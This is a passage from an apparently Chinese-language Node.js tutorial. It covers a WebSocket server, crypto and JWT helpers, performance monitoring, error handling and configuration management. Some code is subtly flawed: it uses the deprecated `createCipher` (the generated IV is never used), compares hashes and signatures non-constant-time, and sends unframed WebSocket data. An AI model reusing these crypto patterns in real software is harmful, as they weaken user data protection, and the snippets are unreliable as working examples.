    constructor(port = 8080) {
        this.port = port;
        this.clients = new Set();
        this.server = this.createServer();
    }
    
    createServer() {
        const server = http.createServer();
        
        server.on('upgrade', (request, socket, head) => {
            this.handleUpgrade(request, socket, head);
        });
        
        return server;
    }
    
    handleUpgrade(request, socket, head) {
        const key = request.headers['sec-websocket-key'];
        const acceptKey = this.generateAcceptKey(key);
        
        const responseHeaders = [
            'HTTP/1.1 101 Switching Protocols',
            'Upgrade: websocket',
            'Connection: Upgrade',
            `Sec-WebSocket-Accept: ${acceptKey}`,
            '',
            ''
        ].join('\r\n');
        
        socket.write(responseHeaders);
        
        // 创建WebSocket连接
        const client = {
            socket,
            id: crypto.randomUUID(),
            connected: true
        };
        
        this.clients.add(client);
        console.log(`客户端连接: ${client.id}`);
        
        socket.on('data', (data) => {
            this.handleMessage(client, data);
        });
        
        socket.on('close', () => {
            this.clients.delete(client);
            console.log(`客户端断开: ${client.id}`);
        });
        
        // 发送欢迎消息
        this.sendMessage(client, {
            type: 'welcome',
            message: '欢迎连接WebSocket服务器',
            clientId: client.id
        });
    }
    
    generateAcceptKey(key) {
        const magicString = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11';
        const hash = crypto.createHash('sha1');
        hash.update(key + magicString);
        return hash.digest('base64');
    }
    
    handleMessage(client, data) {
        try {
            // 简化的消息解析(实际WebSocket协议更复杂)
            const message = JSON.parse(data.toString());
            console.log(`收到消息 from ${client.id}:`, message);
            
            // 广播消息给所有客户端
            this.broadcast({
                type: 'message',
                from: client.id,
                data: message,
                timestamp: new Date().toISOString()
            }, client);
            
        } catch (error) {
            console.error('消息解析错误:', error);
        }
    }
    
    sendMessage(client, message) {
        if (client.connected && !client.socket.destroyed) {
            const data = JSON.stringify(message);
            client.socket.write(data);
        }
    }
    
    broadcast(message, excludeClient = null) {
        for (const client of this.clients) {
            if (client !== excludeClient) {
                this.sendMessage(client, message);
            }
        }
    }
    
    start() {
        this.server.listen(this.port, () => {
            console.log(`WebSocket服务器运行在端口 ${this.port}`);
        });
    }
}

// 使用第三方WebSocket库的示例(推荐)
// npm install ws
/*
const WebSocket = require('ws');

class WebSocketServerManager {
    constructor(port = 8080) {
        this.port = port;
        this.wss = new WebSocket.Server({ port });
        this.clients = new Map();
        this.setupServer();
    }
    
    setupServer() {
        this.wss.on('connection', (ws, req) => {
            const clientId = crypto.randomUUID();
            this.clients.set(clientId, { ws, id: clientId, ip: req.socket.remoteAddress });
            
            console.log(`客户端连接: ${clientId} from ${req.socket.remoteAddress}`);
            
            // 发送欢迎消息
            ws.send(JSON.stringify({
                type: 'welcome',
                clientId,
                message: '连接成功'
            }));
            
            // 处理消息
            ws.on('message', (data) => {
                this.handleMessage(clientId, data);
            });
            
            // 处理断开
            ws.on('close', () => {
                this.clients.delete(clientId);
                console.log(`客户端断开: ${clientId}`);
            });
            
            // 心跳检测
            const heartbeat = setInterval(() => {
                if (ws.readyState === WebSocket.OPEN) {
                    ws.ping();
                } else {
                    clearInterval(heartbeat);
                }
            }, 30000);
            
            ws.on('pong', () => {
                console.log(`收到心跳响应: ${clientId}`);
            });
        });
    }
    
    handleMessage(clientId, data) {
        try {
            const message = JSON.parse(data.toString());
            console.log(`消息来自 ${clientId}:`, message);
            
            // 根据消息类型处理
            switch (message.type) {
                case 'chat':
                    this.handleChatMessage(clientId, message);
                    break;
                case 'broadcast':
                    this.handleBroadcastMessage(clientId, message);
                    break;
                default:
                    console.log('未知消息类型:', message.type);
            }
            
        } catch (error) {
            console.error('消息处理错误:', error);
        }
    }
    
    handleChatMessage(senderId, message) {
        const response = {
            type: 'chat',
            from: senderId,
            message: message.content,
            timestamp: new Date().toISOString()
        };
        
        // 发送给所有客户端
        this.broadcast(response);
    }
    
    handleBroadcastMessage(senderId, message) {
        const response = {
            type: 'broadcast',
            from: senderId,
            message: message.content,
            timestamp: new Date().toISOString()
        };
        
        // 发送给除发送者外的所有客户端
        this.broadcast(response, senderId);
    }
    
    broadcast(message, excludeClientId = null) {
        const data = JSON.stringify(message);
        
        this.clients.forEach((client, clientId) => {
            if (clientId !== excludeClientId && client.ws.readyState === WebSocket.OPEN) {
                client.ws.send(data);
            }
        });
    }
    
    sendToClient(clientId, message) {
        const client = this.clients.get(clientId);
        if (client && client.ws.readyState === WebSocket.OPEN) {
            client.ws.send(JSON.stringify(message));
        }
    }
    
    getClientCount() {
        return this.clients.size;
    }
}

// 使用示例
const wsManager = new WebSocketServerManager(8080);
console.log('WebSocket服务器已启动');

// 定期广播服务器状态
setInterval(() => {
    wsManager.broadcast({
        type: 'server-status',
        clientCount: wsManager.getClientCount(),
        timestamp: new Date().toISOString(),
        uptime: process.uptime()
    });
}, 60000);
*/

// 启动简化版WebSocket服务器
const wsServer = new SimpleWebSocketServer(8080);
wsServer.start();

数据处理模块

加密解密与安全

const crypto = require('node:crypto');

class CryptoUtils {
    // 哈希函数
    static createHash(data, algorithm = 'sha256') {
        return crypto.createHash(algorithm).update(data).digest('hex');
    }
    
    // 密码哈希(带盐值)
    static hashPassword(password, salt = null) {
        if (!salt) {
            salt = crypto.randomBytes(16).toString('hex');
        }
        
        const hash = crypto.pbkdf2Sync(password, salt, 100000, 64, 'sha512');
        return {
            salt,
            hash: hash.toString('hex'),
            combined: salt + ':' + hash.toString('hex')
        };
    }
    
    // 验证密码
    static verifyPassword(password, storedHash) {
        const [salt, originalHash] = storedHash.split(':');
        const { hash } = this.hashPassword(password, salt);
        return hash === originalHash;
    }
    
    // 对称加密
    static encrypt(text, key = null) {
        if (!key) {
            key = crypto.randomBytes(32); // 256位密钥
        }
        
        const iv = crypto.randomBytes(16); // 初始化向量
        const cipher = crypto.createCipher('aes-256-cbc', key);
        
        let encrypted = cipher.update(text, 'utf8', 'hex');
        encrypted += cipher.final('hex');
        
        return {
            encrypted,
            key: key.toString('hex'),
            iv: iv.toString('hex')
        };
    }
    
    // 对称解密
    static decrypt(encryptedData, key) {
        const decipher = crypto.createDecipher('aes-256-cbc', Buffer.from(key, 'hex'));
        
        let decrypted = decipher.update(encryptedData, 'hex', 'utf8');
        decrypted += decipher.final('utf8');
        
        return decrypted;
    }
    
    // RSA密钥对生成
    static generateRSAKeyPair() {
        return crypto.generateKeyPairSync('rsa', {
            modulusLength: 2048,
            publicKeyEncoding: {
                type: 'spki',
                format: 'pem'
            },
            privateKeyEncoding: {
                type: 'pkcs8',
                format: 'pem'
            }
        });
    }
    
    // RSA加密
    static rsaEncrypt(text, publicKey) {
        return crypto.publicEncrypt(publicKey, Buffer.from(text, 'utf8')).toString('base64');
    }
    
    // RSA解密
    static rsaDecrypt(encryptedText, privateKey) {
        return crypto.privateDecrypt(privateKey, Buffer.from(encryptedText, 'base64')).toString('utf8');
    }
    
    // 数字签名
    static sign(data, privateKey) {
        const sign = crypto.createSign('RSA-SHA256');
        sign.update(data);
        return sign.sign(privateKey, 'base64');
    }
    
    // 验证签名
    static verify(data, signature, publicKey) {
        const verify = crypto.createVerify('RSA-SHA256');
        verify.update(data);
        return verify.verify(publicKey, signature, 'base64');
    }
}

// JWT令牌处理(简化版)
class JWTHelper {
    static base64URLEncode(str) {
        return Buffer.from(str)
            .toString('base64')
            .replace(/\+/g, '-')
            .replace(/\//g, '_')
            .replace(/=/g, '');
    }
    
    static base64URLDecode(str) {
        str += new Array(5 - str.length % 4).join('=');
        return Buffer.from(str.replace(/\-/g, '+').replace(/_/g, '/'), 'base64').toString();
    }
    
    static createToken(payload, secret, expiresIn = '1h') {
        const header = {
            alg: 'HS256',
            typ: 'JWT'
        };
        
        const now = Math.floor(Date.now() / 1000);
        const exp = now + (parseInt(expiresIn) * 3600); // 简化处理,假设都是小时
        
        const tokenPayload = {
            ...payload,
            iat: now,
            exp: exp
        };
        
        const encodedHeader = this.base64URLEncode(JSON.stringify(header));
        const encodedPayload = this.base64URLEncode(JSON.stringify(tokenPayload));
        
        const signature = crypto
            .createHmac('sha256', secret)
            .update(encodedHeader + '.' + encodedPayload)
            .digest('base64')
            .replace(/\+/g, '-')
            .replace(/\//g, '_')
            .replace(/=/g, '');
        
        return `${encodedHeader}.${encodedPayload}.${signature}`;
    }
    
    static verifyToken(token, secret) {
        try {
            const [encodedHeader, encodedPayload, signature] = token.split('.');
            
            // 验证签名
            const expectedSignature = crypto
                .createHmac('sha256', secret)
                .update(encodedHeader + '.' + encodedPayload)
                .digest('base64')
                .replace(/\+/g, '-')
                .replace(/\//g, '_')
                .replace(/=/g, '');
            
            if (signature !== expectedSignature) {
                throw new Error('Invalid signature');
            }
            
            // 解析payload
            const payload = JSON.parse(this.base64URLDecode(encodedPayload));
            
            // 检查过期时间
            const now = Math.floor(Date.now() / 1000);
            if (payload.exp && payload.exp < now) {
                throw new Error('Token expired');
            }
            
            return { valid: true, payload };
            
        } catch (error) {
            return { valid: false, error: error.message };
        }
    }
}

// 使用示例
console.log('=== 加密解密示例 ===');

// 哈希函数
const text = 'Hello Node.js Crypto';
const hash = CryptoUtils.createHash(text);
console.log('文本:', text);
console.log('SHA256哈希:', hash);

// 密码哈希
const password = 'mySecurePassword123';
const hashedPassword = CryptoUtils.hashPassword(password);
console.log('密码哈希:', hashedPassword.combined);

const isValid = CryptoUtils.verifyPassword(password, hashedPassword.combined);
console.log('密码验证:', isValid);

// 对称加密
const { encrypted, key } = CryptoUtils.encrypt('敏感数据需要加密');
console.log('加密后:', encrypted);

const decrypted = CryptoUtils.decrypt(encrypted, key);
console.log('解密后:', decrypted);

// RSA非对称加密
const { publicKey, privateKey } = CryptoUtils.generateRSAKeyPair();
const rsaEncrypted = CryptoUtils.rsaEncrypt('RSA加密测试', publicKey);
console.log('RSA加密后:', rsaEncrypted);

const rsaDecrypted = CryptoUtils.rsaDecrypt(rsaEncrypted, privateKey);
console.log('RSA解密后:', rsaDecrypted);

// 数字签名
const dataToSign = '重要文档内容';
const signature = CryptoUtils.sign(dataToSign, privateKey);
console.log('数字签名:', signature);

const signatureValid = CryptoUtils.verify(dataToSign, signature, publicKey);
console.log('签名验证:', signatureValid);

// JWT令牌
const jwtSecret = 'myJWTSecret';
const token = JWTHelper.createToken({ userId: 123, role: 'admin' }, jwtSecret, '2');
console.log('JWT令牌:', token);

const tokenVerification = JWTHelper.verifyToken(token, jwtSecret);
console.log('JWT验证:', tokenVerification);

最佳实践与常见问题

性能优化建议

class PerformanceOptimizer {
    // 内存使用监控
    static monitorMemoryUsage() {
        const usage = process.memoryUsage();
        
        return {
            rss: Math.round(usage.rss / 1024 / 1024), // 常驻内存
            heapUsed: Math.round(usage.heapUsed / 1024 / 1024), // 已用堆内存
            heapTotal: Math.round(usage.heapTotal / 1024 / 1024), // 堆内存总量
            external: Math.round(usage.external / 1024 / 1024), // 外部内存
            arrayBuffers: Math.round(usage.arrayBuffers / 1024 / 1024) // ArrayBuffer内存
        };
    }
    
    // 事件循环延迟监控
    static measureEventLoopDelay() {
        const { performance, PerformanceObserver } = require('perf_hooks');
        
        return new Promise((resolve) => {
            const start = performance.now();
            setImmediate(() => {
                const delay = performance.now() - start;
                resolve(delay);
            });
        });
    }
    
    // 流式处理大文件
    static async processLargeFileStream(inputPath, processor) {
        const fs = require('node:fs');
        const readline = require('node:readline');
        
        const fileStream = fs.createReadStream(inputPath);
        const rl = readline.createInterface({
            input: fileStream,
            crlfDelay: Infinity
        });
        
        let lineCount = 0;
        for await (const line of rl) {
            await processor(line, lineCount++);
            
            // 定期让出控制权给事件循环
            if (lineCount % 1000 === 0) {
                await new Promise(resolve => setImmediate(resolve));
            }
        }
        
        return lineCount;
    }
    
    // 对象池模式(减少GC压力)
    static createObjectPool(factory, resetFn, initialSize = 10) {
        const pool = [];
        
        // 初始化对象池
        for (let i = 0; i < initialSize; i++) {
            pool.push(factory());
        }
        
        return {
            acquire() {
                return pool.length > 0 ? pool.pop() : factory();
            },
            
            release(obj) {
                resetFn(obj);
                pool.push(obj);
            },
            
            size() {
                return pool.length;
            }
        };
    }
}

// 错误处理最佳实践
class ErrorHandler {
    constructor() {
        this.setupGlobalHandlers();
    }
    
    setupGlobalHandlers() {
        process.on('uncaughtException', (error) => {
            console.error('未捕获异常:', error);
            this.logError(error, 'UNCAUGHT_EXCEPTION');
            
            // 优雅关闭
            this.gracefulShutdown(1);
        });
        
        process.on('unhandledRejection', (reason, promise) => {
            console.error('未处理的Promise拒绝:', reason);
            this.logError(reason, 'UNHANDLED_REJECTION', { promise });
        });
        
        process.on('warning', (warning) => {
            console.warn('Node.js警告:', warning);
            this.logError(warning, 'NODE_WARNING');
        });
    }
    
    logError(error, type, context = {}) {
        const errorInfo = {
            timestamp: new Date().toISOString(),
            type,
            message: error.message,
            stack: error.stack,
            context,
            process: {
                pid: process.pid,
                memory: process.memoryUsage(),
                uptime: process.uptime()
            }
        };
        
        // 写入错误日志文件
        const fs = require('node:fs');
        const logFile = `error-${new Date().toISOString().split('T')[0]}.log`;
        fs.appendFileSync(logFile, JSON.stringify(errorInfo) + '\n');
        
        // 发送到监控系统
        this.sendToMonitoring(errorInfo);
    }
    
    sendToMonitoring(errorInfo) {
        // 这里可以集成监控系统,如Sentry、DataDog等
        console.log('错误已记录到监控系统:', errorInfo.type);
    }
    
    async gracefulShutdown(code = 0) {
        console.log('开始优雅关闭...');
        
        try {
            // 关闭服务器
            // 关闭数据库连接
            // 清理资源
            
            setTimeout(() => {
                console.log('强制退出');
                process.exit(1);
            }, 10000);
            
            process.exit(code);
        } catch (error) {
            console.error('关闭过程出错:', error);
            process.exit(1);
        }
    }
}

// 配置管理最佳实践
class ConfigManager {
    constructor() {
        this.config = this.loadConfig();
        this.validateConfig();
    }
    
    loadConfig() {
        const env = process.env.NODE_ENV || 'development';
        
        const defaultConfig = {
            port: 3000,
            database: {
                host: 'localhost',
                port: 5432,
                name: 'myapp'
            },
            redis: {
                host: 'localhost',
                port: 6379
            },
            jwt: {
                expiresIn: '24h'
            },
            logging: {
                level: 'info'
            }
        };
        
        const envConfig = {
            development: {
                logging: { level: 'debug' }
            },
            production: {
                port: process.env.PORT || 8080,
                database: {
                    host: process.env.DB_HOST,
                    port: process.env.DB_PORT,
                    name: process.env.DB_NAME,
                    user: process.env.DB_USER,
                    password: process.env.DB_PASSWORD
                },
                redis: {
                    host: process.env.REDIS_HOST,
                    port: process.env.REDIS_PORT,
                    password: process.env.REDIS_PASSWORD
                },
                jwt: {
                    secret: process.env.JWT_SECRET,
                    expiresIn: process.env.JWT_EXPIRES_IN || '24h'
                }
            }
        };
        
        return this.mergeConfig(defaultConfig, envConfig[env] || {});
    }
    
    mergeConfig(defaultConfig, envConfig) {
        const merged = { ...defaultConfig };
        
        for (const [key, value] of Object.entries(envConfig)) {
            if (typeof value === 'object' && !Array.isArray(value)) {
                merged[key] = { ...merged[key], ...value };
            } else {
                merged[key] = value;
            }
        }
        
        return merged;
    }
    
    validateConfig() {
        const required = [
            'port',
            'database.host',
            'database.port',
            'database.name'
        ];
        
        if (process.env.NODE_ENV === 'production') {
            required.push(
                'database.user',
                'database.password',
                'jwt.secret'
            );
        }
        
        const missing = required.filter(path => {
            const keys = path.split('.');
            let current = this.config;
            
            for (const key of keys) {
                if (!current[key]) return true;
                current = current[key];
            }
            
            return false;
        });
        
        if (missing.length > 0) {
            throw new Error(`缺少必需配置: ${missing.join(', ')}`);
        }
    }
    
    get(path, defaultValue = undefined) {
        const keys = path.split('.');
        let current = this.config;
        
        for (const key of keys) {
            if (!current[key]) return defaultValue;
            current = current[key];
        }
        
        return current;
    }
}

// 使用示例
console.log('=== 性能监控示例 ===');
console.log('内存使用:', PerformanceOptimizer.monitorMemoryUsage());

PerformanceOptimizer.measureEventLoopDelay().then(delay => {
    console.log('事件循环延迟:', delay + 'ms');
});

// 对象池使用示例
const bufferPool = PerformanceOptimizer.createObjectPool(
    () => Buffer.alloc(1024),
    (buffer) => buffer.fill(0),
    5
);

const buffer = bufferPool.acquire();
console.log('从对象池获取buffer,池大小:', bufferPool.size());
bufferPool.release(buffer);
console.log('返回buffer到对象池,池大小:', bufferPool.size());

// 初始化错误处理和配置管理
const errorHandler = new ErrorHandler();
const configManager = new ConfigManager();

console.log('应用配置:', {
    port: configManager.get('port'),
    dbHost: configManager.get('database.host'),
    logLevel: configManager.get('logging.level')
});
❌
❌